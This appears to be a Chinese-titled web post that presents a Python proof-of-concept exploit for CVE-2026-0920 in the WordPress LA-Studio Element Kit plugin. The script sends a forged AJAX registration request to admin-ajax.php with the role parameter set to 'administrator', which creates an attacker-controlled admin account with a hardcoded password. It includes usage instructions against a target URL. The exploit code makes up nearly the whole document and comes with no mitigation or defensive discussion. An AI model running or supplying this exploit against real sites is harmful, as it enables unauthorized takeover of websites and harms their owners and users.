CVE-2026-0920 WordPress LA-Studio Element Kit插件管理员账户创建漏洞

import requests import sys # CVE-2026-0920 PoC - LA-Studio Element Kit Admin Account Creation # Target: WordPress site with LA-Studio Element Kit plugin <= 1.5.6.3 def create_admin_account(target_url, username, email): """ Exploit for CVE-2026-0920 Creates an administrator account via the vulnerable ajax_register_handle function """ # Target endpoint (typical WordPress AJAX handler) endpoint = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' # Payload with lakit_bkrole parameter set to administrator data = { 'action': 'ajax_register_handle', 'lakit_bkrole': 'administrator', # Key parameter for privilege escalation 'user_login': username, 'user_email': email, 'user_password': 'P@ssw0rd123!', 'user_password_re': 'P@ssw0rd123!' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: print(f'[*] Sending exploit request to {endpoint}') print(f'[*] Attempting to create admin user: {username}') response = requests.post(endpoint, data=data, headers=headers, timeout=30) if response.status_code == 200: print('[+] Request sent successfully') print(f'[*] Response: {response.text[:500]}') if 'success' in response.text.lower() or 'register' in response.text.lower(): print('[+] Admin account creation may have succeeded!') print(f'[+] Login at: {target_url}/wp-admin/') return True print('[-] Exploit may have failed - check manually') return False except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve-2026-0920.py <target_url> <username> <email>') print('Example: python cve-2026-0920.py http://target.com eviladmin [email protected]') sys.exit(1) create_admin_account(sys.argv[1], sys.argv[2], sys.argv[3])